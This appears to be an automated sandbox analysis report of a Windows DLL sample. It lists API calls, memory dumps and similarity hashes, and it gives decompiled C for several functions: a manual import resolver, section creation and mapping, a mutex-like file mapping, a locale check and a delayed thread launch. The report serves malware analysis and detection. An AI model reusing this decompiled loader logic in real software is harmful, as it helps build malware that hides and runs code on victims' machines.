VirtualAlloc.KERNEL32(00000000,0000002B,00003000,00000040,6DD7BA6E), ref: 6DD7C0A9
VirtualAlloc.KERNEL32(00000000,0000F0DD,00003000,00000040), ref: 6DD7C109
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6DD7C13F
VirtualProtect.KERNEL32(6DD30000,00000000,00000004,6DD7BF94), ref: 6DD7C244
VirtualProtect.KERNEL32(6DD30000,00001000,00000004,6DD7BF94), ref: 6DD7C26B
VirtualProtect.KERNEL32(00000000,?,00000002,6DD7BF94), ref: 6DD7C338
VirtualProtect.KERNEL32(00000000,?,00000002,6DD7BF94,?), ref: 6DD7C38E
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6DD7C3AA

Memory Dump Source

Source File: 00000001.00000002.506795362.000000006DD7B000.00000040.00020000.sdmp, Offset: 6DD7B000, based on PE: false

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: 1152dc6f38a6bf9fe1bda6254ba7163402deb398324214f3b73d2ee5c3fae3d3
Instruction ID: a90cf71d78cc0941e895a43051fad599a4dcd1d1aa7dd63d1c7c30ec014bb921
Opcode Fuzzy Hash: 1152dc6f38a6bf9fe1bda6254ba7163402deb398324214f3b73d2ee5c3fae3d3
Instruction Fuzzy Hash: 68D14772604609AFDB21DF5CC880A5137BAFF48310B1E4A94EE4D9F65AE770EC109BB4

Uniqueness

Uniqueness Score: -1.00%

Function 6DD31979, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6DD31979(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L6DD32210();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x6dd341d0;
				_push(_t15 + 0x6dd3505e);
				_push(_t15 + 0x6dd35054);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L6DD3220A();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x6dd341c0, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}

0x6dd31979
0x6dd31982
0x6dd31986
0x6dd3198c
0x6dd31991
0x6dd31996
0x6dd31999
0x6dd3199c
0x6dd319a1
0x6dd319a2
0x6dd319a5
0x6dd319b0
0x6dd319b7
0x6dd319bb
0x6dd319bd
0x6dd319be
0x6dd319c1
0x6dd319c6
0x6dd319d0
0x6dd319d2
0x6dd319d2
0x6dd319e6
0x6dd319ec
0x6dd319f0
0x6dd31a40
0x6dd319f2
0x6dd319fb
0x6dd31a11
0x6dd31a19
0x6dd31a2b
0x6dd31a2f
0x00000000
0x00000000
0x6dd31a1b
0x6dd31a1e
0x6dd31a23
0x6dd31a25
0x6dd31a25
0x6dd31a06
0x6dd31a08
0x6dd31a31
0x6dd31a32
0x6dd31a32
0x6dd319fb
0x6dd31a48

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000002,00000000,?,?,?,?,?,?,?,?,?,6DD3176E,0000000A,?,?), ref: 6DD31986
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 6DD3199C
_snwprintf.NTDLL ref: 6DD319C1
CreateFileMappingW.KERNELBASE(000000FF,6DD341C0,00000004,00000000,?,?), ref: 6DD319E6
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6DD3176E,0000000A,?), ref: 6DD319FD
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 6DD31A11
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6DD3176E,0000000A,?), ref: 6DD31A29
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6DD3176E,0000000A), ref: 6DD31A32
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6DD3176E,0000000A,?), ref: 6DD31A3A

Memory Dump Source

Source File: 00000001.00000002.506597899.000000006DD31000.00000020.00020000.sdmp, Offset: 6DD30000, based on PE: true

Associated: 00000001.00000002.506568781.000000006DD30000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506616769.000000006DD33000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506633148.000000006DD35000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.506648954.000000006DD36000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1724014008-0
Opcode ID: 2aa471ef51ee4f56735048cf502164f73b02de450bbb80c424985b5332e6b9b7
Instruction ID: d38666d58cb7a681087c7a61713a8567b824ee4a33826cc19eeff711057e52a0
Opcode Fuzzy Hash: 2aa471ef51ee4f56735048cf502164f73b02de450bbb80c424985b5332e6b9b7
Instruction Fuzzy Hash: 0D21B0B654016AEFEB21BF98CC84FAE37B8EB4B355F028025F611D6140D73058468B60

Uniqueness

Uniqueness Score: -1.00%

Function 6DD318D1, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD318D1(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E6DD31B89(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}

0x6dd318da
0x6dd318e1
0x6dd318e2
0x6dd318e3
0x6dd318e4
0x6dd318e5
0x6dd318f6
0x6dd318fa
0x6dd3190e
0x6dd31911
0x6dd31914
0x6dd3191b
0x6dd3191e
0x6dd31925
0x6dd31928
0x6dd3192b
0x6dd3192e
0x6dd31933
0x6dd3196e
0x6dd31935
0x6dd31938
0x6dd3193e
0x6dd31943
0x6dd31947
0x6dd31965
0x6dd31949
0x6dd31950
0x6dd3195e
0x6dd3195e
0x6dd31947
0x6dd31976

APIs

NtCreateSection.NTDLL(00000002,000F001F,?,?,?,08000000,00000000,75144EE0,00000000,00000000,?), ref: 6DD3192E

Part of subcall function 6DD31B89: NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,6DD31943,00000002,00000000,?,?,00000000,?,?,6DD31943,00000000), ref: 6DD31BB6

memset.NTDLL ref: 6DD31950

Strings

@, xrefs: 6DD3191E

Memory Dump Source

Source File: 00000001.00000002.506597899.000000006DD31000.00000020.00020000.sdmp, Offset: 6DD30000, based on PE: true

Associated: 00000001.00000002.506568781.000000006DD30000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506616769.000000006DD33000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506633148.000000006DD35000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.506648954.000000006DD36000.00000002.00020000.sdmp Download File

Similarity

API ID: Section$CreateViewmemset
String ID: @
API String ID: 2533685722-2766056989
Opcode ID: 00af36b428359ca772932176b9c6d2f97bd417452e06b8a4b42cf2ee787d1e4b
Instruction ID: 788d272f5e6e4e7cd1bf37afca671085756ed5ded65ddc8670e9dc01a471cb40
Opcode Fuzzy Hash: 00af36b428359ca772932176b9c6d2f97bd417452e06b8a4b42cf2ee787d1e4b
Instruction Fuzzy Hash: 72211AB2D00219AFDB01DFA9C8849DEFBB9FF49354F11852AE655F7210D730AA448BA4

Uniqueness

Uniqueness Score: -1.00%

Function 6DD31566, Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6DD31566(void* __ecx) {
				char _v8;
				signed short _t7;

				_v8 = _v8 & 0x00000000;
				_t7 = GetLocaleInfoA(0x400, 0x5a,  &_v8, 4); // executed
				if(_t7 == 0) {
					__imp__GetSystemDefaultUILanguage();
					VerLanguageNameA(_t7 & 0xffff,  &_v8, 4);
				}
				return _v8;
			}

0x6dd3156a
0x6dd3157b
0x6dd31583
0x6dd31585
0x6dd31598
0x6dd31598
0x6dd315a2

APIs

GetLocaleInfoA.KERNELBASE(00000400,0000005A,00000000,00000004,?,?,6DD31C5E,?,6DD31810,?,00000000,00000000,?,?,?,6DD31810), ref: 6DD3157B
GetSystemDefaultUILanguage.KERNEL32(?,?,6DD31C5E,?,6DD31810,?,00000000,00000000,?,?,?,6DD31810), ref: 6DD31585
VerLanguageNameA.KERNEL32(?,00000000,00000004,?,?,6DD31C5E,?,6DD31810,?,00000000,00000000,?,?,?,6DD31810), ref: 6DD31598

Memory Dump Source

Source File: 00000001.00000002.506597899.000000006DD31000.00000020.00020000.sdmp, Offset: 6DD30000, based on PE: true

Associated: 00000001.00000002.506568781.000000006DD30000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506616769.000000006DD33000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506633148.000000006DD35000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.506648954.000000006DD36000.00000002.00020000.sdmp Download File

Similarity

API ID: Language$DefaultInfoLocaleNameSystem
String ID:
API String ID: 3724080410-0
Opcode ID: b6228544006b37f5a538f5a8e8eb8ce6c902e7cd61b9975370db45fb205969fc
Instruction ID: 937c253d61599cb7b3b808555e92398a55a79afd0d8967b5b158385a91346e88
Opcode Fuzzy Hash: b6228544006b37f5a538f5a8e8eb8ce6c902e7cd61b9975370db45fb205969fc
Instruction Fuzzy Hash: A5E04FA8640209F6EB14FBA1DD06FBD72B8AB0274AF510084FB01E60C0D7B49A04A735

Uniqueness

Uniqueness Score: -1.00%

Function 6DD31F31, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DD31F31(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				_Unknown_base(*)()** _v16;
				signed int _v20;
				signed short _v24;
				struct HINSTANCE__* _v28;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr _t46;
				struct HINSTANCE__* _t47;
				intOrPtr* _t49;
				intOrPtr _t50;
				signed short _t51;
				_Unknown_base(*)()* _t53;
				CHAR* _t54;
				_Unknown_base(*)()* _t55;
				void* _t58;
				signed int _t59;
				_Unknown_base(*)()* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				signed int _t68;
				void* _t69;
				CHAR* _t71;
				signed short* _t73;

				_t69 = __edi;
				_v20 = _v20 & 0x00000000;
				_t59 =  *0x6dd341cc;
				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x1b4cdd98));
				if(_t43 != 0) {
					_t45 = _t43 + __edi;
					_v12 = _t45;
					_t46 =  *((intOrPtr*)(_t45 + 0xc));
					if(_t46 != 0) {
						while(1) {
							_t71 = _t46 + _t69;
							_t47 = LoadLibraryA(_t71); // executed
							_v28 = _t47;
							if(_t47 == 0) {
								break;
							}
							_v24 = _v24 & 0x00000000;
							 *_t71 = _t59 - 0x63699bc3;
							_t49 = _v12;
							_t61 =  *((intOrPtr*)(_t49 + 0x10));
							_t50 =  *_t49;
							if(_t50 != 0) {
								L6:
								_t73 = _t50 + _t69;
								_v16 = _t61 + _t69;
								while(1) {
									_t51 =  *_t73;
									if(_t51 == 0) {
										break;
									}
									if(__eflags < 0) {
										__eflags = _t51 - _t69;
										if(_t51 < _t69) {
											L12:
											_t21 =  &_v8;
											 *_t21 = _v8 & 0x00000000;
											__eflags =  *_t21;
											_v24 =  *_t73 & 0x0000ffff;
										} else {
											_t65 = _a4;
											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
												goto L12;
											} else {
												goto L11;
											}
										}
									} else {
										_t51 = _t51 + _t69;
										L11:
										_v8 = _t51;
									}
									_t53 = _v8;
									__eflags = _t53;
									if(_t53 == 0) {
										_t54 = _v24 & 0x0000ffff;
									} else {
										_t54 = _t53 + 2;
									}
									_t55 = GetProcAddress(_v28, _t54);
									__eflags = _t55;
									if(__eflags == 0) {
										_v20 = _t59 - 0x63699b44;
									} else {
										_t68 = _v8;
										__eflags = _t68;
										if(_t68 != 0) {
											 *_t68 = _t59 - 0x63699bc3;
										}
										 *_v16 = _t55;
										_t58 = 0x725990f8 + _t59 * 4;
										_t73 = _t73 + _t58;
										_t32 =  &_v16;
										 *_t32 = _v16 + _t58;
										__eflags =  *_t32;
										continue;
									}
									goto L23;
								}
							} else {
								_t50 = _t61;
								if(_t61 != 0) {
									goto L6;
								}
							}
							L23:
							_v12 = _v12 + 0x14;
							_t46 =  *((intOrPtr*)(_v12 + 0xc));
							if(_t46 != 0) {
								continue;
							} else {
							}
							L26:
							goto L27;
						}
						_t60 = _t59 + 0x9c9664bb;
						__eflags = _t60;
						_v20 = _t60;
						goto L26;
					}
				}
				L27:
				return _v20;
			}

0x6dd31f31
0x6dd31f3a
0x6dd31f3f
0x6dd31f45
0x6dd31f4e
0x6dd31f54
0x6dd31f56
0x6dd31f59
0x6dd31f5e
0x6dd31f65
0x6dd31f65
0x6dd31f69
0x6dd31f71
0x6dd31f74
0x00000000
0x00000000
0x6dd31f7a
0x6dd31f84
0x6dd31f86
0x6dd31f89
0x6dd31f8c
0x6dd31f90
0x6dd31f98
0x6dd31f9a
0x6dd31f9d
0x6dd32005
0x6dd32005
0x6dd32009
0x00000000
0x00000000
0x6dd31fa2
0x6dd31fa8
0x6dd31faa
0x6dd31fbd
0x6dd31fc0
0x6dd31fc0
0x6dd31fc0
0x6dd31fc4
0x6dd31fac
0x6dd31fac
0x6dd31fb4
0x6dd31fb6
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd31fb6
0x6dd31fa4
0x6dd31fa4
0x6dd31fb8
0x6dd31fb8
0x6dd31fb8
0x6dd31fc7
0x6dd31fca
0x6dd31fcc
0x6dd31fd3
0x6dd31fce
0x6dd31fce
0x6dd31fce
0x6dd31fdb
0x6dd31fe1
0x6dd31fe3
0x6dd32013
0x6dd31fe5
0x6dd31fe5
0x6dd31fe8
0x6dd31fea
0x6dd31ff2
0x6dd31ff2
0x6dd31ff7
0x6dd31ff9
0x6dd32000
0x6dd32002
0x6dd32002
0x6dd32002
0x00000000
0x6dd32002
0x00000000
0x6dd31fe3
0x6dd31f92
0x6dd31f94
0x6dd31f96
0x00000000
0x00000000
0x6dd31f96
0x6dd32016
0x6dd32016
0x6dd3201d
0x6dd32022
0x00000000
0x00000000
0x6dd32028
0x6dd32033
0x00000000
0x6dd32033
0x6dd3202a
0x6dd3202a
0x6dd32030
0x00000000
0x6dd32030
0x6dd31f5e
0x6dd32034
0x6dd32039

APIs

LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 6DD31F69
GetProcAddress.KERNEL32(?,00000000), ref: 6DD31FDB

Memory Dump Source

Source File: 00000001.00000002.506597899.000000006DD31000.00000020.00020000.sdmp, Offset: 6DD30000, based on PE: true

Associated: 00000001.00000002.506568781.000000006DD30000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506616769.000000006DD33000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506633148.000000006DD35000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.506648954.000000006DD36000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: c70746b340ac13f23d4aab30f8061e7b4a9521bdb38ee99ede64174e9aa6248c
Instruction ID: 14b4632d2583924094b30df93ac3f18f88a5f830642e5ca15ed60c52bd09987e
Opcode Fuzzy Hash: c70746b340ac13f23d4aab30f8061e7b4a9521bdb38ee99ede64174e9aa6248c
Instruction Fuzzy Hash: 75312A72E40227DFDB14DF59C880BAEBBF4BF46348B128069E951E7241E774DA48CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6DD31B89, Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E6DD31B89(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}

0x6dd31b9b
0x6dd31ba1
0x6dd31baf
0x6dd31bb6
0x6dd31bbb
0x6dd31bc1
0x00000000
0x6dd31bc2
0x00000000

APIs

NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,6DD31943,00000002,00000000,?,?,00000000,?,?,6DD31943,00000000), ref: 6DD31BB6

Memory Dump Source

Source File: 00000001.00000002.506597899.000000006DD31000.00000020.00020000.sdmp, Offset: 6DD30000, based on PE: true

Associated: 00000001.00000002.506568781.000000006DD30000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506616769.000000006DD33000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506633148.000000006DD35000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.506648954.000000006DD36000.00000002.00020000.sdmp Download File

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction ID: 8d9f6c226c7897cd1f3eba4c827b7f828c48d7348f44654e97e1857ca980c470
Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction Fuzzy Hash: 2CF037B590020DFFEB119FA5CC85C9FBBFDEB45354B104939F552E1090E630AE089B60

Uniqueness

Uniqueness Score: -1.00%

Function 6DD317A7, Relevance: 15.1, APIs: 10, Instructions: 103
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6DD317A7(intOrPtr _a4) {
				char _v28;
				struct _SYSTEMTIME _v44;
				char _v48;
				long _v52;
				long _v56;
				void* __edi;
				long _t21;
				int _t23;
				long _t26;
				long _t27;
				long _t31;
				void* _t37;
				intOrPtr _t39;
				intOrPtr _t44;
				signed int _t45;
				void* _t50;
				signed int _t54;
				void* _t56;
				intOrPtr* _t57;

				_t21 = E6DD3146C();
				_v52 = _t21;
				if(_t21 != 0) {
					L18:
					return _t21;
				} else {
					goto L1;
				}
				do {
					L1:
					GetSystemTime( &_v44);
					_t23 = SwitchToThread();
					asm("cdq");
					_t45 = 9;
					_t54 = _t23 + (_v44.wMilliseconds & 0x0000ffff) % _t45;
					_t26 = E6DD315A3(0, _t54); // executed
					_v56 = _t26;
					Sleep(_t54 << 5); // executed
					_t21 = _v56;
				} while (_t21 == 0xc);
				if(_t21 != 0) {
					goto L18;
				}
				_t27 = E6DD31C12(_t45); // executed
				_v52 = _t27;
				if(_t27 != 0) {
					L16:
					_t21 = _v52;
					if(_t21 == 0xffffffff) {
						_t21 = GetLastError();
					}
					goto L18;
				}
				if(_a4 != 0) {
					L11:
					_push(0);
					_t56 = E6DD31CA4(E6DD316EC,  &_v28);
					if(_t56 == 0) {
						_v56 = GetLastError();
					} else {
						_t31 = WaitForSingleObject(_t56, 0xffffffff);
						_v56 = _t31;
						if(_t31 == 0) {
							GetExitCodeThread(_t56,  &_v56);
						}
						CloseHandle(_t56);
					}
					goto L16;
				}
				if(E6DD31D7C(_t45,  &_v48) != 0) {
					 *0x6dd341b8 = 0;
					goto L11;
				}
				_t44 = _v48;
				_t57 = __imp__GetLongPathNameW;
				_t37 =  *_t57(_t44, 0, 0); // executed
				_t50 = _t37;
				if(_t50 == 0) {
					L9:
					 *0x6dd341b8 = _t44;
					goto L11;
				}
				_t15 = _t50 + 2; // 0x2
				_t39 = E6DD31C8F(_t50 + _t15);
				 *0x6dd341b8 = _t39;
				if(_t39 == 0) {
					goto L9;
				} else {
					 *_t57(_t44, _t39, _t50); // executed
					E6DD3136A(_t44);
					goto L11;
				}
			}

0x6dd317b3
0x6dd317bc
0x6dd317c0
0x6dd318c8
0x6dd318ce
0x00000000
0x00000000
0x00000000
0x6dd317c6
0x6dd317c6
0x6dd317cb
0x6dd317d1
0x6dd317e0
0x6dd317e1
0x6dd317e4
0x6dd317e7
0x6dd317f0
0x6dd317f4
0x6dd317fa
0x6dd317fe
0x6dd31805
0x00000000
0x00000000
0x6dd3180b
0x6dd31812
0x6dd31816
0x6dd318b9
0x6dd318b9
0x6dd318c0
0x6dd318c2
0x6dd318c2
0x00000000
0x6dd318c0
0x6dd3181f
0x6dd31872
0x6dd31872
0x6dd31883
0x6dd31887
0x6dd318b5
0x6dd31889
0x6dd3188c
0x6dd31894
0x6dd31898
0x6dd318a0
0x6dd318a0
0x6dd318a7
0x6dd318a7
0x00000000
0x6dd31887
0x6dd3182d
0x6dd3186c
0x00000000
0x6dd3186c
0x6dd3182f
0x6dd31833
0x6dd3183c
0x6dd3183e
0x6dd31842
0x6dd31864
0x6dd31864
0x00000000
0x6dd31864
0x6dd31844
0x6dd31849
0x6dd31850
0x6dd31855
0x00000000
0x6dd31857
0x6dd3185a
0x6dd3185d
0x00000000
0x6dd3185d

APIs

Part of subcall function 6DD3146C: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,6DD317B8,751463F0,00000000), ref: 6DD3147B
Part of subcall function 6DD3146C: GetVersion.KERNEL32 ref: 6DD3148A
Part of subcall function 6DD3146C: GetCurrentProcessId.KERNEL32 ref: 6DD31499
Part of subcall function 6DD3146C: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 6DD314B2

GetSystemTime.KERNEL32(?,751463F0,00000000), ref: 6DD317CB
SwitchToThread.KERNEL32 ref: 6DD317D1

Part of subcall function 6DD315A3: VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004,?,?,00000000,00000000), ref: 6DD315F9
Part of subcall function 6DD315A3: memcpy.NTDLL(?,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,?,6DD317EC), ref: 6DD3168B
Part of subcall function 6DD315A3: VirtualFree.KERNELBASE(?,00000000,00008000,?,?,00000000,00000000), ref: 6DD316A6

Sleep.KERNELBASE(00000000,00000000), ref: 6DD317F4
GetLongPathNameW.KERNELBASE(?,00000000,00000000), ref: 6DD3183C
GetLongPathNameW.KERNELBASE(?,00000000,00000000), ref: 6DD3185A
WaitForSingleObject.KERNEL32(00000000,000000FF,6DD316EC,?,00000000), ref: 6DD3188C
GetExitCodeThread.KERNEL32(00000000,?), ref: 6DD318A0
CloseHandle.KERNEL32(00000000), ref: 6DD318A7
GetLastError.KERNEL32(6DD316EC,?,00000000), ref: 6DD318AF
GetLastError.KERNEL32 ref: 6DD318C2

Memory Dump Source

Source File: 00000001.00000002.506597899.000000006DD31000.00000020.00020000.sdmp, Offset: 6DD30000, based on PE: true

Associated: 00000001.00000002.506568781.000000006DD30000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506616769.000000006DD33000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506633148.000000006DD35000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.506648954.000000006DD36000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastLongNamePathProcessThreadVirtual$AllocCloseCodeCreateCurrentEventExitFreeHandleObjectOpenSingleSleepSwitchSystemTimeVersionWaitmemcpy
String ID:
API String ID: 2280543912-0
Opcode ID: 267400459fa8876355ef138dde8c7efcb7b7d2c1f93d97f3f077ded5bb15af27
Instruction ID: 1b292c74e3b16144baabd48400ae2e909f56351219d9da6ebddbe1cda59ac5f6
Opcode Fuzzy Hash: 267400459fa8876355ef138dde8c7efcb7b7d2c1f93d97f3f077ded5bb15af27
Instruction Fuzzy Hash: 28319075848723ABE720FF658D44A6A77FCAA8B354B130A2AF560C2140E774C50486B6

Uniqueness

Uniqueness Score: -1.00%

Function 6DD31AA5, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DD31AA5(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E6DD31C8F(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x6dd341d0 + 0x6dd35014);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x6dd341d0 + 0x6dd350e1);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E6DD3136A(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x6dd341d0 + 0x6dd350f1);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x6dd341d0 + 0x6dd35104);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x6dd341d0 + 0x6dd35119);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x6dd341d0 + 0x6dd3512f);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E6DD318D1(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x6dd31ab3
0x6dd31ab7
0x6dd31b78
0x6dd31abd
0x6dd31ad5
0x6dd31ae4
0x6dd31aeb
0x6dd31aef
0x6dd31af2
0x6dd31b70
0x6dd31b71
0x6dd31af4
0x6dd31b01
0x6dd31b05
0x6dd31b08
0x00000000
0x6dd31b0a
0x6dd31b17
0x6dd31b1b
0x6dd31b1e
0x00000000
0x6dd31b20
0x6dd31b2d
0x6dd31b31
0x6dd31b34
0x00000000
0x6dd31b36
0x6dd31b43
0x6dd31b47
0x6dd31b4a
0x00000000
0x6dd31b4c
0x6dd31b52
0x6dd31b58
0x6dd31b5d
0x6dd31b64
0x6dd31b67
0x00000000
0x6dd31b69
0x6dd31b6c
0x6dd31b6c
0x6dd31b67
0x6dd31b4a
0x6dd31b34
0x6dd31b1e
0x6dd31b08
0x6dd31af2
0x6dd31b86

APIs

Part of subcall function 6DD31C8F: HeapAlloc.KERNEL32(00000000,?,6DD3117D,?,00000000,00000000,?,?,?,6DD31810), ref: 6DD31C9B

GetModuleHandleA.KERNEL32(?,00000020,00000002,?,?,?,?,6DD31272,?,?,?,?,00000002,00000000,?,?), ref: 6DD31AC9
GetProcAddress.KERNEL32(00000000,?), ref: 6DD31AEB
GetProcAddress.KERNEL32(00000000,?), ref: 6DD31B01
GetProcAddress.KERNEL32(00000000,?), ref: 6DD31B17
GetProcAddress.KERNEL32(00000000,?), ref: 6DD31B2D
GetProcAddress.KERNEL32(00000000,?), ref: 6DD31B43

Part of subcall function 6DD318D1: NtCreateSection.NTDLL(00000002,000F001F,?,?,?,08000000,00000000,75144EE0,00000000,00000000,?), ref: 6DD3192E
Part of subcall function 6DD318D1: memset.NTDLL ref: 6DD31950

Memory Dump Source

Source File: 00000001.00000002.506597899.000000006DD31000.00000020.00020000.sdmp, Offset: 6DD30000, based on PE: true

Associated: 00000001.00000002.506568781.000000006DD30000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506616769.000000006DD33000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.506633148.000000006DD35000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.506648954.000000006DD36000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$AllocCreateHandleHeapModuleSectionmemset
String ID:
API String ID: 1632424568-0
Opcode ID: 886e2560f807128cbd2aaf6b1f955fe16c19356303de4b0c9dbd375f0df64c7c
Instruction ID: d8965952b387e54afdaf48db3356c07e932282838ce58723e3782b5e84153bad
